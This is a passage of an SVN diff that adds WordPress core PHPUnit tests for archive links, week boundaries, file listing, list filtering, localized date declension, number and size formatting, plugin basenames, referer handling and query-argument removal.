+		$this->assertEquals( $expected['echo'], trim( $actual ) );
+	}
+
+	function test_wp_get_archives_order() {
+		self::factory()->post->create( array( 'post_type' => 'post', 'post_author' => '1', 'post_date' => '2012-10-23 19:34:42' ) );
+
+		$date_full = date( 'F Y' );
+		$oct_url = get_month_link( 2012, 10 );
+		$expected['order_asc'] = <<<EOF
+<li><a href='{$oct_url}'>October 2012</a></li>
+	<li><a href='{$this->month_url}'>$date_full</a></li>
+EOF;
+		$this->assertEquals( $expected['order_asc'], trim( wp_get_archives( array( 'echo' => false, 'order' => 'ASC' ) ) ) );
+
+		$expected['order_desc'] = <<<EOF
+<li><a href='{$this->month_url}'>$date_full</a></li>
+	<li><a href='{$oct_url}'>October 2012</a></li>
+EOF;
+		$this->assertEquals( $expected['order_desc'], trim( wp_get_archives( array( 'echo' => false, 'order' => 'DESC' ) ) ) );
+	}
+
+	/**
+	 * @ticket 21596
+	 */
+	function test_wp_get_archives_post_type() {
+		register_post_type( 'taco', array( 'public' => true ) );
+
+		self::factory()->post->create( array(
+			'post_type' => 'taco',
+			'post_author' => '1',
+			'post_date' => '2014-10-23 19:34:42'
+		) );
+
+		$oct_url = esc_url( add_query_arg( 'post_type', 'taco', get_month_link( 2014, 10 ) ) );
+		$expected = "<li><a href='{$oct_url}'>October 2014</a></li>";
+		$archives = wp_get_archives( array( 'echo' => false, 'post_type' => 'taco' ) );
+		$this->assertEquals( $expected, trim( $archives ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/functions/getWeekstartend.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/functions/getWeekstartend.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/functions/getWeekstartend.php	(revision 56912)
@@ -0,0 +1,47 @@
+<?php
+
+/**
+ * @group functions.php
+ */
+class Tests_Functions_GetWeekstartend extends WP_UnitTestCase {
+
+	public function test_default_start_of_week_option_is_monday() {
+		$expected = array(
+			'start' => 1454889600,
+			'end'   => 1455494399,
+		);
+
+		$this->assertEquals( $expected, get_weekstartend( '2016-02-12' ) );
+	}
+
+	public function test_start_of_week_sunday() {
+		$expected = array(
+			'start' => 1454803200,
+			'end'   => 1455407999,
+		);
+
+		$this->assertEquals( $expected, get_weekstartend( '2016-02-12', 0 ) );
+	}
+
+	public function test_start_of_week_should_fall_back_on_start_of_week_option() {
+		update_option( 'start_of_week', 2 );
+
+		$expected = array(
+			'start' => 1454976000,
+			'end'   => 1455580799,
+		);
+
+		$this->assertEquals( $expected, get_weekstartend( '2016-02-12' ) );
+	}
+
+	public function test_start_of_week_should_fall_back_on_sunday_when_option_is_missing() {
+		delete_option( 'start_of_week' );
+
+		$expected = array(
+			'start' => 1454803200,
+			'end'   => 1455407999,
+		);
+
+		$this->assertEquals( $expected, get_weekstartend( '2016-02-12' ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/functions/listFiles.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/functions/listFiles.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/functions/listFiles.php	(revision 56912)
@@ -0,0 +1,20 @@
+<?php
+
+/**
+ * Test list_files().
+ *
+ * @group functions.php
+ */
+class Tests_Functions_ListFiles extends WP_UnitTestCase {
+	public function test_list_files_returns_a_list_of_files() {
+		$admin_files = list_files( ABSPATH . 'wp-admin/' );
+		$this->assertInternalType( 'array', $admin_files );
+		$this->assertNotEmpty( $admin_files );
+		$this->assertContains( ABSPATH . 'wp-admin/index.php', $admin_files );
+	}
+
+	public function test_list_files_can_exclude_files() {
+		$admin_files = list_files( ABSPATH . 'wp-admin/', 100, array( 'index.php' ) );
+		$this->assertNotContains( ABSPATH . 'wp-admin/index.php', $admin_files );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/functions/listFilter.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/functions/listFilter.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/functions/listFilter.php	(revision 56912)
@@ -0,0 +1,157 @@
+<?php
+
+/**
+ * Test wp_filter_object_list(), wp_list_filter(), wp_list_pluck().
+ *
+ * @group functions.php
+ */
+class Tests_Functions_ListFilter extends WP_UnitTestCase {
+	var $object_list = array();
+	var $array_list = array();
+
+	function setUp() {
+		parent::setUp();
+		$this->array_list['foo'] = array( 'name' => 'foo', 'id' => 'f', 'field1' => true, 'field2' => true, 'field3' => true, 'field4' => array( 'red' ) );
+		$this->array_list['bar'] = array( 'name' => 'bar', 'id' => 'b', 'field1' => true, 'field2' => true, 'field3' => false, 'field4' => array( 'green' ) );
+		$this->array_list['baz'] = array( 'name' => 'baz', 'id' => 'z', 'field1' => true, 'field2' => false, 'field3' => false, 'field4' => array( 'blue' ) );
+		foreach ( $this->array_list as $key => $value ) {
+			$this->object_list[ $key ] = (object) $value;
+		}
+	}
+
+	function test_filter_object_list_and() {
+		$list = wp_filter_object_list( $this->object_list, array( 'field1' => true, 'field2' => true ), 'AND' );
+		$this->assertEquals( 2, count( $list ) );
+		$this->assertArrayHasKey( 'foo', $list );
+		$this->assertArrayHasKey( 'bar', $list );
+	}
+
+	function test_filter_object_list_or() {
+		$list = wp_filter_object_list( $this->object_list, array( 'field1' => true, 'field2' => true ), 'OR' );
+		$this->assertEquals( 3, count( $list ) );
+		$this->assertArrayHasKey( 'foo', $list );
+		$this->assertArrayHasKey( 'bar', $list );
+		$this->assertArrayHasKey( 'baz', $list );
+	}
+
+	function test_filter_object_list_not() {
+		$list = wp_filter_object_list( $this->object_list, array( 'field2' => true, 'field3' => true ), 'NOT' );
+		$this->assertEquals( 1, count( $list ) );
+		$this->assertArrayHasKey( 'baz', $list );
+	}
+
+	function test_filter_object_list_and_field() {
+		$list = wp_filter_object_list( $this->object_list, array( 'field1' => true, 'field2' => true ), 'AND', 'name' );
+		$this->assertEquals( 2, count( $list ) );
+		$this->assertEquals( array( 'foo' => 'foo', 'bar' => 'bar' ) , $list );
+	}
+
+	function test_filter_object_list_or_field() {
+		$list = wp_filter_object_list( $this->object_list, array( 'field2' => true, 'field3' => true ), 'OR', 'name' );
+		$this->assertEquals( 2, count( $list ) );
+		$this->assertEquals( array( 'foo' => 'foo', 'bar' => 'bar' ) , $list );
+	}
+
+	function test_filter_object_list_not_field() {
+		$list = wp_filter_object_list( $this->object_list, array( 'field2' => true, 'field3' => true ), 'NOT', 'name' );
+		$this->assertEquals( 1, count( $list ) );
+		$this->assertEquals( array( 'baz' => 'baz' ) , $list );
+	}
+
+	function test_wp_list_pluck() {
+		$list = wp_list_pluck( $this->object_list, 'name' );
+		$this->assertEquals( array( 'foo' => 'foo', 'bar' => 'bar', 'baz' => 'baz' ) , $list );
+
+		$list = wp_list_pluck( $this->array_list, 'name' );
+		$this->assertEquals( array( 'foo' => 'foo', 'bar' => 'bar', 'baz' => 'baz' ) , $list );
+	}
+
+	/**
+	 * @ticket 28666
+	 */
+	function test_wp_list_pluck_index_key() {
+		$list = wp_list_pluck( $this->array_list, 'name', 'id' );
+		$this->assertEquals( array( 'f' => 'foo', 'b' => 'bar', 'z' => 'baz' ), $list );
+	}
+
+	/**
+	 * @ticket 28666
+	 */
+	function test_wp_list_pluck_object_index_key() {
+		$list = wp_list_pluck( $this->object_list, 'name', 'id' );
+		$this->assertEquals( array( 'f' => 'foo', 'b' => 'bar', 'z' => 'baz' ), $list );
+	}
+
+	/**
+	 * @ticket 28666
+	 */
+	function test_wp_list_pluck_missing_index_key() {
+		$list = wp_list_pluck( $this->array_list, 'name', 'nonexistent' );
+		$this->assertEquals( array( 0 => 'foo', 1 => 'bar', 2 => 'baz' ), $list );
+	}
+
+	/**
+	 * @ticket 28666
+	 */
+	function test_wp_list_pluck_partial_missing_index_key() {
+		$array_list = $this->array_list;
+		unset( $array_list[ 'bar']['id'] );
+		$list = wp_list_pluck( $array_list, 'name', 'id' );
+		$this->assertEquals( array( 'f' => 'foo', 0 => 'bar', 'z' => 'baz' ), $list );
+	}
+
+	/**
+	 * @ticket 28666
+	 */
+	function test_wp_list_pluck_mixed_index_key() {
+		$mixed_list = $this->array_list;
+		$mixed_list['bar'] = (object) $mixed_list['bar'];
+		$list = wp_list_pluck( $mixed_list, 'name', 'id' );
+		$this->assertEquals( array( 'f' => 'foo', 'b' => 'bar', 'z' => 'baz' ), $list );
+	}
+
+	function test_filter_object_list_nested_array_and() {
+		$list = wp_filter_object_list( $this->object_list, array( 'field4' => array( 'blue' ) ), 'AND' );
+		$this->assertEquals( 1, count( $list ) );
+		$this->assertArrayHasKey( 'baz', $list );
+	}
+
+	function test_filter_object_list_nested_array_not() {
+		$list = wp_filter_object_list( $this->object_list, array( 'field4' => array( 'red' ) ), 'NOT' );
+		$this->assertEquals( 2, count( $list ) );
+		$this->assertArrayHasKey( 'bar', $list );
+		$this->assertArrayHasKey( 'baz', $list );
+	}
+
+	function test_filter_object_list_nested_array_or() {
+		$list = wp_filter_object_list( $this->object_list, array( 'field3' => true, 'field4' => array( 'blue' ) ), 'OR' );
+		$this->assertEquals( 2, count( $list ) );
+		$this->assertArrayHasKey( 'foo', $list );
+		$this->assertArrayHasKey( 'baz', $list );
+	}
+
+	function test_filter_object_list_nested_array_or_singular() {
+		$list = wp_filter_object_list( $this->object_list, array( 'field4' => array( 'blue' ) ), 'OR' );
+		$this->assertEquals( 1, count( $list ) );
+		$this->assertArrayHasKey( 'baz', $list );
+	}
+
+
+	function test_filter_object_list_nested_array_and_field() {
+		$list = wp_filter_object_list( $this->object_list, array( 'field4' => array( 'blue' ) ), 'AND', 'name' );
+		$this->assertEquals( 1, count( $list ) );
+		$this->assertEquals( array( 'baz' => 'baz' ) , $list );
+	}
+
+	function test_filter_object_list_nested_array_not_field() {
+		$list = wp_filter_object_list( $this->object_list, array( 'field4' => array( 'green' ) ), 'NOT', 'name' );
+		$this->assertEquals( 2, count( $list ) );
+		$this->assertEquals( array( 'foo' => 'foo', 'baz' => 'baz' ), $list );
+	}
+
+	function test_filter_object_list_nested_array_or_field() {
+		$list = wp_filter_object_list( $this->object_list, array( 'field3' => true, 'field4' => array( 'blue' ) ), 'OR', 'name' );
+		$this->assertEquals( 2, count( $list ) );
+		$this->assertEquals( array( 'foo' => 'foo', 'baz' => 'baz' ), $list );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/functions/maybeDeclineDate.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/functions/maybeDeclineDate.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/functions/maybeDeclineDate.php	(revision 56912)
@@ -0,0 +1,125 @@
+<?php
+
+/**
+ * @group functions.php
+ * @group i18n
+ */
+class Tests_Functions_MaybeDeclineDate extends WP_UnitTestCase {
+
+	/**
+	 * @var string
+	 */
+	private $locale_original;
+
+	/**
+	 * @var WP_Locale
+	 */
+	private $wp_locale_original;
+
+	public function setUp() {
+		global $locale, $wp_locale;
+
+		parent::setUp();
+
+		$this->locale_original    = $locale;
+		$this->wp_locale_original = clone $wp_locale;
+	}
+
+	public function tearDown() {
+		global $locale, $wp_locale;
+
+		$locale    = $this->locale_original;
+		$wp_locale = $this->wp_locale_original;
+
+		parent::tearDown();
+	}
+
+	/**
+	 * @ticket 36790
+	 * @dataProvider data_wp_maybe_decline_date
+	 */
+	public function test_wp_maybe_decline_date( $test_locale, $input, $output ) {
+		global $locale, $wp_locale;
+
+		add_filter( 'gettext_with_context', array( $this, 'filter__enable_months_names_declension' ), 10, 3 );
+
+		$month_names = $this->get_months_names( $test_locale );
+
+		$locale                    = $test_locale;
+		$wp_locale->month          = $month_names['month'];
+		$wp_locale->month_genitive = $month_names['month_genitive'];
+
+		$declined_date = wp_maybe_decline_date( $input );
+
+		remove_filter( 'gettext_with_context', array( $this, 'filter__enable_months_names_declension' ), 10 );
+
+		$this->assertEquals( $output, $declined_date );
+	}
+
+	public function filter__enable_months_names_declension( $translation, $text, $context ) {
+		if ( 'decline months names: on or off' === $context ) {
+			$translation = 'on';
+		}
+
+		return $translation;
+	}
+
+	public function data_wp_maybe_decline_date() {
+		return array(
+			array( 'ru_RU', '21 Июнь',       '21 июня' ),
+			array( 'ru_RU', '1 Январь 2016', '1 января 2016' ),
+			array( 'pl_PL', '1 Styczeń',     '1 stycznia' ),
+			array( 'hr',    '1. Siječanj',   '1. siječnja' ),
+			array( 'ca',    '1 de abril',    "1 d'abril" ),
+			array( 'cs_CZ', '1. Červen',     '1. června' ),
+			array( 'cs_CZ', '1. Červenec',   '1. července' ),
+		);
+	}
+
+	private function get_months_names( $locale ) {
+		switch ( $locale ) {
+			case 'ru_RU':
+				$months = array(
+					'month' => array( 'Январь', 'Февраль', 'Март', 'Апрель', 'Май', 'Июнь', 'Июль', 'Август', 'Сентябрь', 'Октябрь', 'Ноябрь', 'Декабрь' ),
+					'month_genitive' => array( 'января', 'февраля', 'марта', 'апреля', 'мая', 'июня', 'июля', 'августа', 'сентября', 'октября', 'ноября', 'декабря' ),
+				);
+				break;
+
+			case 'pl_PL':
+				$months = array(
+					'month' => array( 'Styczeń', 'Luty', 'Marzec', 'Kwiecień', 'Maj', 'Czerwiec', 'Lipiec', 'Sierpień', 'Wrzesień', 'Październik', 'Listopad', 'Grudzień' ),
+					'month_genitive' => array( 'stycznia', 'lutego', 'marca', 'kwietnia', 'maja', 'czerwca', 'lipca', 'sierpnia', 'września', 'października', 'listopada', 'grudnia' ),
+				);
+				break;
+
+			case 'hr':
+				$months = array(
+					'month' => array( 'Siječanj', 'Veljača', 'Ožujak', 'Travanj', 'Svibanj', 'Lipanj', 'Srpanj', 'Kolovoz', 'Rujan', 'Listopad', 'Studeni', 'Prosinac' ),
+					'month_genitive' => array( 'siječnja', 'veljače', 'ožujka', 'ožujka', 'svibnja', 'lipnja', 'srpnja', 'kolovoza', 'rujna', 'listopada', 'studenoga', 'prosinca' ),
+				);
+				break;
+
+			case 'ca':
+				$months = array(
+					'month' => array( 'gener', 'febrer', 'març', 'abril', 'maig', 'juny', 'juliol', 'agost', 'setembre', 'octubre', 'novembre', 'desembre' ),
+					'month_genitive' => array( 'gener', 'febrer', 'març', 'abril', 'maig', 'juny', 'juliol', 'agost', 'setembre', 'octubre', 'novembre', 'desembre' ),
+				);
+				break;
+
+			case 'cs_CZ':
+				$months = array(
+					'month' => array( 'Leden', 'Únor', 'Březen', 'Duben', 'Květen', 'Červen', 'Červenec', 'Srpen', 'Září', 'Říjen', 'Listopad', 'Prosinec' ),
+					'month_genitive' => array( 'ledna', 'února', 'března', 'dubna', 'května', 'června', 'července', 'srpna', 'září', 'října', 'listopadu', 'prosince' ),
+				);
+				break;
+
+			default:
+				$months = array(
+					'month' => array( 'January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December' ),
+					'month_genitive' => array( 'January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December' ),
+				);
+		}
+
+		return $months;
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/functions/numberFormatI18n.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/functions/numberFormatI18n.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/functions/numberFormatI18n.php	(revision 56912)
@@ -0,0 +1,49 @@
+<?php
+
+/**
+ * Tests for number_format_i18n()
+ *
+ * @group functions.php
+ * @group i18n
+ */
+class Tests_Functions_Number_Format_I18n extends WP_UnitTestCase {
+	public function test_should_fall_back_to_number_format_when_wp_locale_is_not_set() {
+		$locale               = clone $GLOBALS['wp_locale'];
+		$GLOBALS['wp_locale'] = null;
+
+		$actual_1 = number_format_i18n( 123456.789, 0 );
+		$actual_2 = number_format_i18n( 123456.789, 4 );
+
+		$GLOBALS['wp_locale'] = $locale;
+
+		$this->assertEquals( '123,457', $actual_1 );
+		$this->assertEquals( '123,456.7890', $actual_2 );
+	}
+
+	public function test_should_respect_number_format_of_locale() {
+		$decimal_point = $GLOBALS['wp_locale']->number_format['decimal_point'];
+		$thousands_sep = $GLOBALS['wp_locale']->number_format['thousands_sep'];
+
+		$GLOBALS['wp_locale']->number_format['decimal_point'] = '@';
+		$GLOBALS['wp_locale']->number_format['thousands_sep'] = '^';
+
+		$actual_1 = number_format_i18n( 123456.789, 0 );
+		$actual_2 = number_format_i18n( 123456.789, 4 );
+
+		$GLOBALS['wp_locale']->number_format['decimal_point'] = $decimal_point;
+		$GLOBALS['wp_locale']->number_format['thousands_sep'] = $thousands_sep;
+
+		$this->assertEquals( '123^457', $actual_1 );
+		$this->assertEquals( '123^456@7890', $actual_2 );
+	}
+
+	public function test_should_default_to_en_us_format() {
+		$this->assertEquals( '123,457', number_format_i18n( 123456.789, 0 ) );
+		$this->assertEquals( '123,456.7890', number_format_i18n( 123456.789, 4 ) );
+	}
+
+	public function test_should_handle_negative_precision() {
+		$this->assertEquals( '123,457', number_format_i18n( 123456.789, 0 ) );
+		$this->assertEquals( '123,456.7890', number_format_i18n( 123456.789, -4 ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/functions/pluginBasename.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/functions/pluginBasename.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/functions/pluginBasename.php	(revision 56912)
@@ -0,0 +1,64 @@
+<?php
+
+/**
+ * Tests for plugin_basename()
+ *
+ * @group functions.php
+ * @group plugins
+ */
+class Tests_Plugin_Basename extends WP_UnitTestCase {
+
+	/**
+	 * @var array
+	 */
+	protected $wp_plugin_paths_backup;
+
+	/**
+	 * Normalized path to plugin directory.
+	 *
+	 * @var string
+	 */
+	protected $wp_plugin_path;
+
+	public function setUp() {
+		parent::setUp();
+
+		$this->wp_plugin_paths_backup = $GLOBALS['wp_plugin_paths'];
+		$this->wp_plugin_path = wp_normalize_path( WP_PLUGIN_DIR );
+	}
+
+	public function tearDown() {
+		$GLOBALS['wp_plugin_paths'] = $this->wp_plugin_paths_backup;
+
+		parent::tearDown();
+	}
+
+	/**
+	 * @ticket 29154
+	 */
+	function test_return_correct_basename_for_symlinked_plugins() {
+		global $wp_plugin_paths;
+
+		$wp_plugin_paths = array(
+			$this->wp_plugin_path . '/a-symlinked-plugin' => 'C:/www/path/plugins/a-plugin',
+		);
+
+		$basename = plugin_basename( 'c:\www\path\plugins\a-plugin\plugin.php' );
+		$this->assertSame( 'a-symlinked-plugin/plugin.php', $basename );
+	}
+
+	/**
+	 * @ticket 28441
+	 */
+	function test_return_correct_basename_for_symlinked_plugins_with_path_conflicts() {
+		global $wp_plugin_paths;
+
+		$wp_plugin_paths = array(
+			$this->wp_plugin_path . '/plugin' => '/Users/me/Dropbox/Development/Repositories/plugin',
+			$this->wp_plugin_path . '/trunk' => '/Users/me/Dropbox/Development/Repositories/plugin/trunk',
+		);
+
+		$basename = plugin_basename( '/Users/me/Dropbox/Development/Repositories/plugin/trunk/plugin.php' );
+		$this->assertSame( 'trunk/plugin.php', $basename );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/functions/referer.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/functions/referer.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/functions/referer.php	(revision 56912)
@@ -0,0 +1,156 @@
+<?php
+
+/**
+ * Test wp_get_referer().
+ *
+ * @group functions.php
+ */
+class Tests_Functions_Referer extends WP_UnitTestCase {
+	public function setUp() {
+		parent::setUp();
+
+		$_SERVER['HTTP_REFERER']      = '';
+		$_SERVER['REQUEST_URI']       = '';
+		$_REQUEST['_wp_http_referer'] = '';
+	}
+
+	public function tearDown() {
+		parent::tearDown();
+
+		$_SERVER['HTTP_REFERER']      = '';
+		$_SERVER['REQUEST_URI']       = '';
+		$_REQUEST['_wp_http_referer'] = '';
+	}
+
+	public function _fake_subfolder_install() {
+		return 'http://' . WP_TESTS_DOMAIN . '/subfolder';
+	}
+
+	public function filter_allowed_redirect_hosts( $hosts ) {
+		$hosts[] = 'another.' . WP_TESTS_DOMAIN;
+
+		return $hosts;
+	}
+
+	public function test_from_request_relative_referrer() {
+		$_REQUEST['_wp_http_referer'] = addslashes( '/test.php?id=123' );
+		$_SERVER['REQUEST_URI']       = addslashes( '/test.php?id=123' );
+		$this->assertFalse( wp_get_referer() );
+	}
+
+	public function test_from_request_same_url() {
+		$_REQUEST['_wp_http_referer'] = addslashes( 'http://' . WP_TESTS_DOMAIN . '/test.php?id=123' );
+		$_SERVER['REQUEST_URI']       = addslashes( '/test.php?id=123' );
+		$this->assertFalse( wp_get_referer() );
+	}
+
+	public function test_from_request_different_resource() {
+		$_REQUEST['_wp_http_referer'] = addslashes( 'http://' . WP_TESTS_DOMAIN . '/another.php?id=123' );
+		$_SERVER['REQUEST_URI']       = addslashes( '/test.php?id=123' );
+		$this->assertSame( 'http://' . WP_TESTS_DOMAIN . '/another.php?id=123', wp_get_referer() );
+	}
+
+	public function test_from_request_different_query_args() {
+		$_REQUEST['_wp_http_referer'] = addslashes( 'http://' . WP_TESTS_DOMAIN . '/test.php?another=555' );
+		$_SERVER['REQUEST_URI']       = addslashes( '/test.php?id=123' );
+		$this->assertSame( 'http://' . WP_TESTS_DOMAIN . '/test.php?another=555', wp_get_referer() );
+	}
+
+	/**
+	 * @ticket 19856
+	 */
+	public function test_from_request_subfolder_install() {
+		add_filter( 'site_url', array( $this, '_fake_subfolder_install' ) );
+
+		$_REQUEST['_wp_http_referer'] = addslashes( 'http://' . WP_TESTS_DOMAIN . '/subfolder/test.php?id=123' );
+		$_SERVER['REQUEST_URI']       = addslashes( '/subfolder/test.php?id=123' );
+		$this->assertFalse( wp_get_referer() );
+
+		remove_filter( 'site_url', array( $this, '_fake_subfolder_install' ) );
+	}
+
+	/**
+	 * @ticket 19856
+	 */
+	public function test_from_request_subfolder_install_different_resource() {
+		add_filter( 'site_url', array( $this, '_fake_subfolder_install' ) );
+
+		$_REQUEST['_wp_http_referer'] = addslashes( 'http://' . WP_TESTS_DOMAIN . '/subfolder/another.php?id=123' );
+		$_SERVER['REQUEST_URI']       = addslashes( '/subfolder/test.php?id=123' );
+		$this->assertSame( 'http://' . WP_TESTS_DOMAIN . '/subfolder/another.php?id=123', wp_get_referer() );
+
+		remove_filter( 'site_url', array( $this, '_fake_subfolder_install' ) );
+	}
+
+	public function test_relative_referrer() {
+		$_REQUEST['HTTP_REFERER'] = addslashes( '/test.php?id=123' );
+		$_SERVER['REQUEST_URI']   = addslashes( '/test.php?id=123' );
+		$this->assertFalse( wp_get_referer() );
+	}
+
+	public function test_same_url() {
+		$_SERVER['HTTP_REFERER'] = addslashes( 'http://' . WP_TESTS_DOMAIN . '/test.php?id=123' );
+		$_SERVER['REQUEST_URI']  = addslashes( '/test.php?id=123' );
+		$this->assertFalse( wp_get_referer() );
+	}
+
+	public function test_different_resource() {
+		$_SERVER['HTTP_REFERER'] = addslashes( 'http://' . WP_TESTS_DOMAIN . '/another.php?id=123' );
+		$_SERVER['REQUEST_URI']  = addslashes( '/test.php?id=123' );
+		$this->assertSame( 'http://' . WP_TESTS_DOMAIN . '/another.php?id=123', wp_get_referer() );
+	}
+
+	/**
+	 * @ticket 19856
+	 * @ticket 27152
+	 */
+	public function test_different_server() {
+		$_SERVER['HTTP_REFERER'] = addslashes( 'http://another.' . WP_TESTS_DOMAIN . '/test.php?id=123' );
+		$_SERVER['REQUEST_URI']  = addslashes( '/test.php?id=123' );
+		$this->assertFalse( wp_get_referer() );
+	}
+
+	/**
+	 * @ticket 19856
+	 * @ticket 27152
+	 */
+	public function test_different_server_allowed_redirect_host() {
+		add_filter( 'allowed_redirect_hosts', array( $this, 'filter_allowed_redirect_hosts' ) );
+		$_SERVER['HTTP_REFERER'] = addslashes( 'http://another.' . WP_TESTS_DOMAIN . '/test.php?id=123' );
+		$_SERVER['REQUEST_URI']  = addslashes( '/test.php?id=123' );
+		$this->assertSame( 'http://another.' . WP_TESTS_DOMAIN . '/test.php?id=123', wp_get_referer() );
+		remove_filter( 'allowed_redirect_hosts', array( $this, 'filter_allowed_redirect_hosts' ) );
+	}
+
+	/**
+	 * @ticket 27152
+	 */
+	public function test_raw_referer_empty(  ) {
+		$this->assertFalse( wp_get_raw_referer() );
+	}
+
+	/**
+	 * @ticket 27152
+	 */
+	public function test_raw_referer(  ) {
+		$_SERVER['HTTP_REFERER'] = addslashes( 'http://example.com/foo?bar' );
+		$this->assertSame( 'http://example.com/foo?bar', wp_get_raw_referer() );
+	}
+
+	/**
+	 * @ticket 27152
+	 */
+	public function test_raw_referer_from_request(  ) {
+		$_REQUEST['_wp_http_referer'] = addslashes( 'http://foo.bar/baz' );
+		$this->assertSame( 'http://foo.bar/baz', wp_get_raw_referer() );
+	}
+
+	/**
+	 * @ticket 27152
+	 */
+	public function test_raw_referer_both(  ) {
+		$_SERVER['HTTP_REFERER'] = addslashes( 'http://example.com/foo?bar' );
+		$_REQUEST['_wp_http_referer'] = addslashes( 'http://foo.bar/baz' );
+		$this->assertSame( 'http://foo.bar/baz', wp_get_raw_referer() );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/functions/removeQueryArg.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/functions/removeQueryArg.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/functions/removeQueryArg.php	(revision 56912)
@@ -0,0 +1,37 @@
+<?php
+
+/**
+ * @group functions.php
+ */
+class Tests_Functions_RemoveQueryArg extends WP_UnitTestCase {
+	/**
+	 * @dataProvider remove_query_arg_provider
+	 */
+	public function test_remove_query_arg( $keys_to_remove, $url, $expected ) {
+		$actual = remove_query_arg( $keys_to_remove, $url );
+
+		$this->assertNotEmpty( $actual );
+		$this->assertEquals( $expected, $actual );
+	}
+
+	public function remove_query_arg_provider() {
+		return array(
+			array( 'foo', 'edit.php?foo=test1&baz=test1', 'edit.php?baz=test1' ),
+			array( array( 'foo' ), 'edit.php?foo=test2&baz=test2', 'edit.php?baz=test2' ),
+			array( array( 'foo', 'baz' ), 'edit.php?foo=test3&baz=test3', 'edit.php' ),
+			array( array( 'fakefoo', 'fakebaz' ), 'edit.php?foo=test4&baz=test4', 'edit.php?foo=test4&baz=test4' ),
+			array( array( 'fakefoo', 'baz' ), 'edit.php?foo=test4&baz=test4', 'edit.php?foo=test4' ),
+		);
+	}
+
+	public function test_should_fall_back_on_current_url() {
+		$old_request_uri = $_SERVER['REQUEST_URI'];
+		$_SERVER['REQUEST_URI'] = 'edit.php?foo=bar&baz=quz';
+
+		$actual = remove_query_arg( 'foo' );
+
+		$_SERVER['REQUEST_URI'] = $old_request_uri;
+
+		$this->assertSame( 'edit.php?baz=quz', $actual );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/functions/sizeFormat.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/functions/sizeFormat.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/functions/sizeFormat.php	(revision 56912)
@@ -0,0 +1,52 @@
+<?php
+
+/**
+ * Tests for size_format()
+ *
+ * @group functions.php
+ * @ticket 36635
+ */
+class Tests_Functions_Size_Format extends WP_UnitTestCase {
+	public function _data_size_format() {
+		return array(
+			array( array(), 0, false ),
+			array( 'baba', 0, false ),
+			array( '', 0, false ),
+			array( '-1', 0, false ),
+			array( -1, 0, false ),
+			array( 0, 0, '0 B' ),
+			array( 1, 0, '1 B' ),
+			array( 1023, 0, '1,023 B' ),
+			array( KB_IN_BYTES, 0, '1 KB' ),
+			array( KB_IN_BYTES, 2, '1.00 KB' ),
+			array( 2.5 * KB_IN_BYTES, 0, '3 KB' ),
+			array( 2.5 * KB_IN_BYTES, 2, '2.50 KB' ),
+			array( 10 * KB_IN_BYTES, 0, '10 KB' ),
+			array( (string) 1024 * KB_IN_BYTES, 2, '1.00 MB' ),
+			array( MB_IN_BYTES, 0, '1 MB' ),
+			array( 2.5 * MB_IN_BYTES, 0, '3 MB' ),
+			array( 2.5 * MB_IN_BYTES, 2, '2.50 MB' ),
+			array( (string) 1024 * MB_IN_BYTES, 2, '1.00 GB' ),
+			array( GB_IN_BYTES, 0, '1 GB' ),
+			array( 2.5 * GB_IN_BYTES, 0, '3 GB' ),
+			array( 2.5 * GB_IN_BYTES, 2, '2.50 GB' ),
+			array( (string) 1024 * GB_IN_BYTES, 2, '1.00 TB' ),
+			array( TB_IN_BYTES, 0, '1 TB' ),
+			array( 2.5 * TB_IN_BYTES, 0, '3 TB' ),
+			array( 2.5 * TB_IN_BYTES, 2, '2.50 TB' ),
+			array( TB_IN_BYTES + (TB_IN_BYTES/2) + MB_IN_BYTES, 1, '1.5 TB' ),
+			array( TB_IN_BYTES - MB_IN_BYTES - KB_IN_BYTES, 3, '1,023.999 GB' ),
+		);
+	}
+
+	/**
+	 * @dataProvider _data_size_format
+	 *
+	 * @param $bytes
+	 * @param $decimals
+	 * @param $expected
+	 */
+	public function test_size_format( $bytes, $decimals, $expected ) {
+		$this->assertSame( $expected, size_format( $bytes, $decimals ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/functions/wpAuthCheck.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/functions/wpAuthCheck.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/functions/wpAuthCheck.php	(revision 56912)
@@ -0,0 +1,64 @@
+<?php
+
+/**
+ * @group functions.php
+ *
+ * Tests for the behavior of `wp_auth_check()`
+ */
+class Tests_Functions_WP_Auth_Check extends WP_UnitTestCase {
+
+	/**
+	 * Run with user not logged in.
+	 *
+	 * @ticket 41860
+	 */
+	function test_wp_auth_check_user_not_logged_in() {
+		$expected = array(
+			'wp-auth-check' => false,
+		);
+
+		$this->assertFalse( is_user_logged_in() );
+		$this->assertSame( $expected, wp_auth_check( array() ) );
+	}
+
+	/**
+	 * Run with user logged in.
+	 *
